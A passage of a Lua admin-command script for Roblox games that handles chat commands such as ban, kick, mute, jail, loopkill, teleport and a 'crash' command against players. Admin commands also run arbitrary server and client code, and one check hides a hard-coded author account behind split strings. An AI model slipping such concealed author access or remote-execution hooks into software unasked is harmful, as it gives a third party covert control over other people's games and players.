					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "nonadmins" then
			for i,v in pairs(Players:GetPlayers()) do
				local IsAdminTrue, Rank = IsAdmin(v)
				if IsAdminTrue == false then
					table.insert(Return, v)
				end
			end
		elseif string.lower(PlayerName) == "admins" then
			for i,v in pairs(Players:GetPlayers()) do
				local IsAdminTrue, Rank = IsAdmin(v)
				if IsAdminTrue == true then
					table.insert(Return, v)
				end
			end
		elseif string.sub(string.lower(PlayerName),1,5) == "team-" then
			for i,v in pairs(Players:GetPlayers()) do
				if v.Neutral == false then
					local InTeam = false
					for _,Team in pairs(Teams:GetTeams()) do
						if Team.TeamColor == v.TeamColor then
							if string.sub(string.lower(Team.Name),1,#string.sub(PlayerName,6)) == string.sub(string.lower(PlayerName),6) then
								InTeam = true
							end
						end
					end
					if InTeam == true then
						table.insert(Return, v)
					end
				end
			end
		elseif string.lower(PlayerName) == "list" then
			local PlayerTable = {}
			for i,v in pairs(Players:GetPlayers()) do
				table.insert(PlayerTable, {v.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..v.Name})
			end
			local Selection = SelectionGui(Speaker, "Selection List for Command", PlayerTable, true)
			for _,Sel in pairs(Selection) do
				table.insert(Return, Players:FindFirstChild(Sel))
			end
		else
			if PlayerName ~= "" then
				for i,v in pairs(Players:GetPlayers()) do
					if string.sub(string.lower(v.Name),1,#PlayerName) == string.lower(PlayerName) then
						table.insert(Return, v)
					end
				end
			end
		end
	end
	return Return
end

function Chatted(RawMainMessage, Speaker)
	if RawMainMessage == "" or RawMainMessage == Prefix then return end
	if Speaker == nil then Speaker = {Name = "[ Server ]",Character = nil,userId = 1,PlayerGui = nil} end
	local PlayerAdmin, Rank = IsAdmin(Speaker)
	local RawMessage = string.sub(RawMainMessage, #Prefix+1)
	local Message = string.lower(RawMessage)
	if PlayerAdmin == true then if RawMainMessage == "I can only see menu chats." then CoreGui(Speaker, "Chat", true) end end
	local RankNum = ConvertRank(Rank)

	local LocalDisableAbuse = false
	if DisableAbuse == true and Rank ~= "Owner" then DisableAbuse = true end

	function Insert(Asset, Parent, GetFirstChild)
		local Model = Instance.new("Model")
		local ValidID = true
		if DisableAbuse == true and Rank == "Member" or Rank == "Player" then
			for _,ID in pairs(AbusableGear) do
				if Asset == ID then
					ValidID = false
					SendMessage(Speaker, "Asset Disabled", "RED This asset has been disabled due to it's abusable power", 4)
					break
				end
			end
		end
		if ValidID == true then
			Model = game:GetService("InsertService"):LoadAsset(Asset)
			if GetFirstChild then Model = Model:GetChildren()[1] end
			Model.Parent = Parent
		end
		return Model
	end

	if string.lower(RawMainMessage) == "settings" or string.lower(RawMainMessage) == ";settings" or string.lower(RawMainMessage) == Prefix.."settings" then
		Log(Speaker, RawMainMessage)
		ListGui(Speaker, "Settings", {
			"Prefix: '"..Prefix.."'",
			"Bet: '"..Bet.."'",
			"Version: "..Version.Value,
			"Lag Time: "..LagTime,
			"Minimum Account Age: "..MinimumAge,
			"Group ID: "..GroupID,
			"Group Banned Rank: "..RankBan,
			"Group Member Rank: "..GroupMemberRank,
			"Group Admin Rank: "..GroupAdminRank,
			"Group Owner Rank: "..GroupOwnerRank,
			"Server Lock: "..BoolString(ServerLocked),
			"Disable Abuse: "..BoolString(DisableAbuse),
			"Fun Commands: "..BoolString(FUN),
		})
	end
	if string.sub(string.lower(RawMainMessage),1,#Prefix) == string.lower(Prefix) then
		if PlayerAdmin == true then
			if string.sub(Message, 1, 9) == "invisible" then Message = "invis"..string.sub(Message,10) end
			if string.sub(Message, 1, 7) == "visible" then Message = "vis"..string.sub(Message,8) end
			if string.sub(Message, 1, 4) == "clip" then Message = "nofly"..string.sub(Message,5) end
			if string.sub(Message, 1, 11) == "changestats" then Message = "change"..string.sub(Message,12) end
			if string.sub(Message, 1, 3) == "buy" then Message = "product"..string.sub(Message,4) end
			if string.sub(Message, 1, 7) == "catalog" then Message = "product"..string.sub(Message,8) end
			if string.sub(Message, 1, 8) == "purchase" then Message = "product"..string.sub(Message,8) end
			if string.sub(Message, 1, 8) == "nostrobe" then Message = "noblind"..string.sub(Message,9) end
			if string.sub(Message, 1, 6) == "insert" then Message = "ins"..string.sub(Message,7) end
			if string.sub(Message, 1, 10) == "playerlist" then Message = "pl"..string.sub(Message,11) end
			if string.sub(Message, 1, 12) == "noplayerlist" then Message = "npl"..string.sub(Message,13) end
			if string.sub(Message, 1, 9) == "walkspeed" then Message = "speed"..string.sub(Message,10) end
			if string.sub(Message, 1, 4) == "thaw" then Message = "nofreeze"..string.sub(Message,5) end
			if string.sub(Message, 1, 9) == "animation" then Message = "anim"..string.sub(Message,10) end
			if string.sub(Message, 1, 7) == "animate" then Message = "anim"..string.sub(Message,8) end
			if string.sub(Message, 1, 9) == "noanimate" then Message = "noanim"..string.sub(Message,10) end
			if string.sub(Message, 1, 11) == "noanimation" then Message = "noanim"..string.sub(Message,12) end
			if string.sub(Message, 1, 4) == "hack" then Message = "hax"..string.sub(Message,5) end
			if string.sub(Message, 1, 7) == "message" then RawMessage = "m"..string.sub(RawMessage,8) end
			if string.sub(Message, 1, 3) == "msg" then RawMessage = "m"..string.sub(RawMessage,4) end
			if string.sub(Message, 1, 4) == "hint" then RawMessage = "h"..string.sub(RawMessage,5) end
			if string.sub(Message, 1, 2) == "rc" then RawMessage = "replicatecommand"..string.sub(RawMessage,3) Message = string.lower(RawMessage) end

			if DisableAbuse == true then
				for _,Cmd in pairs(AbuseList) do
					if string.sub(Message,1,#Cmd) == string.lower(Cmd) then
						if Rank ~= "Owner" then
							SendMessage(Speaker, "Command Disabled", "This command has been disabled by the game owner for being abusive", 5)
							return nil
						end
					end
				end
			end

			if Rank == "Owner" then
				-- Owner Commands --
				if string.sub(Message, 1, 5+#Bet) == "admin"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet))
					for _,Player in pairs(Players) do if Player ~= nil then
						local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
						local AddToList = true
						if PlayerAdminTrue == true then
							if ConvertRank(PlayerRank) >= 2 then
								AddToList = false
							end
						end
						if AddToList == true then
							table.insert(Ranks["Admin"], Player.Name)
							TellAdmin(Player, "Admin")
							if LuaModelMakerStamp == true then
								for _,Tool in pairs(game.Lighting.AdminTools:GetChildren()) do
									local NewTool = Tool:Clone()
									NewTool.Parent = Player.Backpack
									local NewTool2 = Tool:Clone()
									NewTool2.Parent = Player.StarterGear
								end
							end
						end
					end end
				end

				if string.sub(Message, 1, 11) == "removeadmin" then
					RemoveAdmin(Speaker)
				end

				if string.sub(Message, 1, 7+#Bet) == "unadmin"..Bet or string.sub(Message, 1, 7+#Bet) == "noadmin"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					local CombineAdmins = {}
					for Num,Name in pairs(Ranks["Member"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Member", Number = Num}) end
					for Num,Name in pairs(Ranks["Admin"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Admin", Number = Num}) end
					for Num,Info in pairs(CombineAdmins) do
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if string.lower(Info.Player) == string.lower(Player.Name) then
									table.remove(Ranks[Info.Rank], Info.Number)
									if LuaModelMakerStamp == true then
										Player.Backpack:ClearAllChildren()
										Player.StarterGear:ClearAllChildren()
									end
								end
							end
						end
					end
				end

				if string.sub(Message, 1, 3+#Bet) == "fun"..Bet then
					local ThisVal = FUN
					if string.sub(Message, 4+#Bet) == "enable" then
						FUN = true
					elseif string.sub(Message, 4+#Bet) == "disable" then
						FUN = false
					end
					if ThisVal ~= FUN then
						MessageAdmins("Fun Commands", "Fun commands are now "..string.sub(Message, 4+#Bet).."d", 3)
					end
				end

				if string.sub(Message, 1, 10+#Bet) == "forceplace"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local PlaceID = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							TS:Teleport(PlaceID, Player)
						end
					end
				end

				if string.sub(Message, 1, 11+#Bet) == "forcefollow"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local UserID = tonumber(Arg2)
					if UserID then
						local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
						if Suc then
							for _,Player in pairs(Players) do
								if Player ~= nil then
									TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
								end
							end
						else
							SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
						end
					end
				end

				if string.sub(Message, 1, 9+#Bet) == "adminmenu"..Bet then
					local ThisVal = EnableAdminMenu
					if string.sub(Message, 10+#Bet) == "enable" then
						EnableAdminMenu = true
						for _,Player in pairs(Players:GetPlayers()) do AdminMenu(Player) end
					elseif string.sub(Message, 10+#Bet) == "disable" then
						EnableAdminMenu = false
						for _,Player in pairs(Players:GetPlayers()) do local GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end end
					end
					if ThisVal ~= EnableAdminMenu then
						MessageAdmins("Admin Menu", "The admin menu menu is now "..string.sub(Message, 10+#Bet).."d", 3)
					end
				end

				if Message == "update" then
					UpdateAdmin()
				end

				if Message == "lockserver" or Message == "serverlock" then
					ServerLocked = true
					MessageAdmins("Server Lock", "The Server is now locked", 3)
				end

				if Message == "unlockserver" or Message == "unserverlock" or Message == "nolockserver" or Message == "noserverlock" or Message == "serverunlock" then
					ServerLocked = false
					MessageAdmins("Server Lock", "The Server is now unlocked", 3)
				end

				if string.sub(Message, 1, 5+#Bet) == "abuse"..Bet then
					local ThisVal = DisableAbuse
					if string.sub(Message, 6+#Bet) == "enable" then
						DisableAbuse = false
					elseif string.sub(Message, 6+#Bet) == "disable" then
						DisableAbuse = true
					end
					if ThisVal ~= DisableAbuse then
						MessageAdmins("Abusive Commands", "Abusive commands are now "..string.sub(Message, 6+#Bet).."d", 3)
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "prefix"..Bet then
					local AfterMessage = string.sub(Message, 7+#Bet)
					if string.sub(AfterMessage,1,5) == AfterMessage then
						local Answer = YesOrNo(Speaker, "Prefix Change", "Do you really want to change the prefix from '"..Prefix.."' to '"..AfterMessage.."'? If you forget it you can use the 'settings' command which doesn't require a prefix.")
						if Answer == true then
							local OldPrefix = Prefix
							Prefix = AfterMessage
							for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
							for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
							for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
							for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end
							MessageAdmins("Prefix Change", "The prefix has been changed from '"..OldPrefix.."' to '"..Prefix.."'. If you forget it, use the 'settings' command which doesn't require a prefix.", 6)
						end
					else
						SendMessage(Speaker, "Prefix Too Long", "Your Prefix is too long. If you would like it longer change it in the settings", 4)
					end
				end

				if string.sub(Message,1,10+#Bet) == "givepoints"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
					local GiveTo = Arg1
					local Amount = Arg2
					if tonumber(GiveTo) then
						ypcall(function() Points:AwardPoints(tonumber(GiveTo), Amount) end)
					else
						local Players = Scan(GiveTo, Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								ypcall(function() Points:AwardPoints(Player.userId, Amount) end)
							end
						end
					end
				end

				if string.sub(Message,1,10+#Bet) == "awardbadge"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
					local GiveTo = Arg1
					local ID = Arg2
					local Players = Scan(GiveTo, Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							ypcall(function() game:GetService("BadgeService"):AwardBadge(Player.userId, ID) end)
						end
					end
				end

				if Message == "cs" or Message == "cm" or Message == "ca" or Message == "clearsounds" or Message == "clearmusic" or Message == "clearaudio" or Message == "clearsoundlist" or Message == "clearmusiclist" or Message == "clearaudiolist" or Message == "clearmusic" or Message == "clearaudio" then
					local Ask = YesOrNo(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)")
					if Ask == true then
						DataStore:SetAsync("MML Custom Sounds", {})
						SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
						SendHint(Speaker, "All custom sounds have been removed", 4)
					end
				end

				if Message == "clearlogs" or Message == "clearlog" then
					Logs = {}
				end

				if Message == "clearexploitlog" or Message == "clearexploitlogs" or Message == "clearhacklog" or Message == "cel" then
					DataStore:SetAsync("ExploitLog", {})
				end

				if Message == "nos" or Message == "noscripts" then
					for _,Obj in pairs(Workspace:GetChildren()) do
						if Obj:IsA("Script") or Obj:IsA("BaseScript") then if Obj ~= script then
							Obj.Disabled = true
							Obj:Destroy()
						end end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "showad"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack then
								ExecuteResource("ShowAd", Player.Backpack, {})
							end
						end
					end
				end

				if string.sub(Message, 1, 16+#Bet) == "replicatecommand"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 17+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Command = Arg2
					if #Command >= 1 then
						if string.sub(Command,1,#Prefix) ~= Prefix then Command = Prefix..Command end
						for _,Player in pairs(Players) do
							if Player ~= nil then
								coroutine.wrap(function() Chatted(Command, Player) end)()
							end
						end
					end
				end

				if Message == "masterclear" or Message == "masterclean" or Message == "masterreset" or Message == "fullclear" or Message == "fullclean" or Message == "fullreset" then
					local Answer = YesOrNo(Speaker, "Clean EVERYTHING?", "Do you really want to clear EVERYTHING? The only thing that will be left is the admin, a baseplate, and everything not in workspace. If you have a large place, this can cause major lag. Continue?")
					if Answer == true then
						for _,Obj in pairs(Workspace:GetChildren()) do
							if Obj.className ~= "Terrain" then
								if Obj.Name ~= "LuaModelMaker's Admin" then
									if Obj.Name ~= "LuaModelMaker's Admin Settings" then
										Obj:Destroy()
									end
								end
							end
						end
						wait()
						MakeBase()
						wait()
						for _,Player in pairs(Players:GetPlayers()) do
							Player:LoadCharacter()
						end
					end
				end

				if Message == "savep" or Message == "save" or Message == "saveplace" then
					local Answer = YesOrNo(Speaker, "Save Current Place", "Do you really want to save this place as-is? Continue?")
					if Answer == true then
						local Executed = ypcall(function()
							local Saved,SavedMessage = game:SavePlace()
							if not Saved then
								SendMessage(Speaker, "Could not save", "Could not save place. Reason: "..SavedMessage, 5)
							end
						end)
						if not Executed then
							SendMessage(Speaker, "Could not save", "Could not save place. Either there's a vital error or SavePlace API is disabled", 5)
						end
					end
				end

				if Message == "downloadlogs" or Message == "downloadhttplogs" or Message == "getlogs" or Message == "gethttplogs" then
					ListGui(Speaker, "Remote Http Logs", ReverseTable(DownloadUserdata(true).Logs))
				end

			end

			if Rank == "Owner" or Rank == "Admin" then
				-- Admin Commands --
				if Message == "shutdown" then
					SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
					Shutdown = true
				end

				if string.sub(Message, 1, 3+#Bet) == "ban"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					SendHttpLog(Speaker.Name.." banned "..UnpackPlayers(Players), "WARNING")
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
							if PlayerAdminTrue == false then if not Ranks["Banned"][Player.Name] then
								table.insert(Ranks["Banned"], Player.Name)
								Kick(Player)
							end end
						end
					end
				end

				if string.sub(Message, 1, 5+#Bet) == "unban"..Bet or string.sub(Message, 1, 5+#Bet) == "noban"..Bet then
					local AfterMessage = string.sub(Message, 6+#Bet)
					local Table = "Banned"
					if AfterMessage == "all" then
						Ranks[Table] = {}
					end
					for Num,RankedPlayer in pairs(Ranks[Table]) do
						if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
							table.remove(Ranks[Table], Num)
						end
					end
				end

				if string.sub(Message, 1, 5+#Bet) == "crash"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					SendHttpLog(Speaker.Name.." crashed "..UnpackPlayers(Players), "INFORMATION")
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
							if PlayerAdminTrue == false then if not Ranks["Crashed"][Player.Name] then
								table.insert(Ranks["Crashed"], Player.Name)
								Crash(Player)
							end end
						end
					end
				end

				if string.sub(Message, 1, 7+#Bet) == "uncrash"..Bet or string.sub(Message, 1, 7+#Bet) == "nocrash"..Bet then
					local AfterMessage = string.sub(Message, 8+#Bet)
					local Table = "Crashed"
					if AfterMessage == "all" then
						Ranks[Table] = {}
					end
					for Num,RankedPlayer in pairs(Ranks[Table]) do
						if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
							table.remove(Ranks[Table], Num)
						end
					end
				end

				if string.sub(Message, 1, 4+#Bet) == "mute"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					SendHttpLog(Speaker.Name.." has muted "..UnpackPlayers(Players), "INFORMATION")
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
							if PlayerAdminTrue == false then if not Ranks["Muted"][Player.Name] then
								table.insert(Ranks["Muted"], Player.Name)
								CoreGui(Player, "Chat", false)
							end end
						end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "unmute"..Bet or string.sub(Message, 1, 6+#Bet) == "nomute"..Bet or string.sub(Message, 1, 6+#Bet) == "demute"..Bet then
					for Num,MutedPlayer in pairs(Ranks["Muted"]) do
						local AfterMessage = string.sub(Message, 7+#Bet)
						local Table = "Muted"
						local Players = Scan(AfterMessage, Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								CoreGui(Player, "Chat", true)
							end
						end
						if AfterMessage == "all" then
							Ranks[Table] = {}
						end
						for Num,RankedPlayer in pairs(Ranks[Table]) do
							if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
								table.remove(Ranks[Table], Num)
							end
						end
					end
				end

				if string.sub(Message, 1, 4+#Bet) == "kick"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					SendHttpLog(Speaker.Name.." kicked "..UnpackPlayers(Players), "INFORMATION")
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
							if PlayerAdminTrue == false then
								Kick(Player)
							end
						end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "member"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do if Player ~= nil then
						local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
						local AddToList = true
						if PlayerAdminTrue == true then
							if ConvertRank(PlayerRank) >= 1 then
								AddToList = false
							end
						end
						if AddToList == true then
							table.insert(Ranks["Member"], Player.Name)
							TellAdmin(Player, "Member")
						end
					end end
				end

				if string.sub(Message, 1, 1+#Bet) == "c"..Bet then
					if LuaModelMakerStamp == false or Speaker.Name == "LuaModelMake".."r" then
						Execute(Script, Workspace, Speaker, string.sub(RawMessage,2+#Bet))
					end
				end

				if string.sub(Message, 1, 1+#Bet) == "l"..Bet then
					if Speaker.Character ~= nil then
						if LuaModelMakerStamp == false or Speaker.Name == "L".."uaModelMake".."r" then
							Execute(LocalScript, Speaker.Backpack, Speaker, string.sub(RawMessage,2+#Bet))
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "lto"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(string.lower(Arg1), Speaker)
					local Script = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Execute(LocalScript, Player.Backpack, Speaker, Script)
							end
						end
					end
				end

				if string.sub(Message, 1, 4+#Bet) == "jail"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local Continue = true
							for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end wait()
							local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
							Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
							local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
							local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
							local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
							local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
							Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
							Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
							Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
							local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
							Cell:MoveTo(Vector3.new(0,3,0))
							if Player.Character then if Player.Character:FindFirstChild("Torso") then Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0)) end Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0)) end
							table.insert(Objects, Cell)
							function OnRespawn(Char)
								wait()
								if Continue == true then
									if Cell and Floor then
										local Valid = false
										for _,Name in pairs(Jailed) do if Name == Player.Name then Valid = true end end
										if Valid == true then
											Char:MoveTo(Floor.Position + Vector3.new(0,2,0))
										else
											Continue = false
											OnRespawn = function() end
											return
										end
									else
										Continue = false
										OnRespawn = function() end
										return
									end
								else
									OnRespawn = function() end
									return
								end
							end
							table.insert(Jailed, Player.Name)
							Player.CharacterAdded:connect(OnRespawn)
						end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "nojail"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
							for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end
						end
					end
				end

				if string.sub(Message, 1, 5+#Bet) == "place"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local PlaceID = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
							--TeleportToPlace(Speaker, Player, PlaceID, (function() TS:Teleport(PlaceID, Player) end))
						end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "follow"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local UserID = tonumber(Arg2)
					if UserID then
						local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
						if Suc then
							for _,Player in pairs(Players) do
								if Player ~= nil then
								PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
									--TeleportToPlace(Speaker, Player, PlaceID, (function() TS:TeleportToPlaceInstance(PlaceID, IntID, Player) end))
								end
							end
						else
							SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
						end
					end
				end

				if string.sub(Message, 1, 4+#Bet) == "note"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Data = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local ExistingData = Player:LoadInstance("Data")
							if ExistingData == nil then
								ExistingData = Instance.new("Configuration")
							end
							ExistingData.Name = "Player Data"
							local Key = Instance.new("Configuration", ExistingData)
							Key.Name = Data
							Player:SaveInstance("Data", ExistingData)
						end
					end
				end

				if string.sub(Message, 1, 10+#Bet) == "removenote"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Data = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local ExistingData = Player:LoadInstance("Data")
							if ExistingData ~= nil then
								if Data == "all" then
									ExistingData:ClearAllChildren()
								else
									for _,DataObj in pairs(ExistingData:GetChildren()) do
										if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
											DataObj:Destroy()
										end
									end
								end
								Player:SaveInstance("Data", ExistingData)
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "loopkill"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Times = tonumber(Arg2)
					for _,Player in pairs(Players) do
						coroutine.wrap(function()
							for i = 1,Times do
								if Player ~= nil then
									if Player.Character ~= nil then
										Player.Character:BreakJoints()
									end
									local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop")
									if Stop then
										if Stop:IsA("StringValue") then
											if string.lower(Stop.Value) == string.lower(Player.Name) then
												Stop:Destroy()
												break
											end
										end
									end
								end
								wait(5.1)
							end
						end)()
					end
				end

				if string.sub(Message,1,10+#Bet) == "noloopkill"..Bet then
					local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop") if Stop then Stop:Destroy() end
							Stop = Instance.new("StringValue", Workspace) Stop.Name = "LMM Loopkill Stop" Stop.Value = string.lower(Player.Name)
						end
					end
				end

				if string.sub(Message, 1, 2+#Bet) == "sm"..Bet then
					for _,Player in pairs(Players:GetPlayers()) do
						SendMessage(Player, "SYSTEM MESSAGE", string.sub(RawMessage, 3+#Bet), 3)
					end
				end

				if string.sub(Message, 1, 10+#Bet) == "accelerate"..Bet then
					local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
							if PlayerAdminTrue == true then
								TS:Teleport(155307015, Player)
							end
						end
					end
				end

				if Message == "syncsoundlist" or Message == "syncmusiclist" or Message == "syncaudiolist" then
					SyncSoundList(Speaker)
				end

				if Message == "cleart" or Message == "clearterrain" or Message == "cleant" or Message == "cleanterrain" then
					local Answer = YesOrNo(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?")
					if Answer == true then
						Workspace.Terrain:Clear()
					end
				end

				if Message == "clearstamp" or Message == "cleanstamp" or Message == "clearstamper" or Message == "cleanstamper" or Message == "clears" or Message == "cleans" then
					local Answer = YesOrNo(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?")
					if Answer == true then
						for _,Obj in pairs(Workspace:GetChildren()) do
							if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
								Obj:Destroy()
							end
						end
					end
				end

				if Message == "base" or Message == "baseplate" then
					MakeBase()
				end

				if string.sub(Message,1,8+#Bet) == "addsound"..Bet or string.sub(Message,1,8+#Bet) == "addmusic"..Bet or string.sub(Message,1,8+#Bet) == "addaudio"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Name = string.upper(string.sub(Arg2,1,1))..string.sub(Arg2,2)
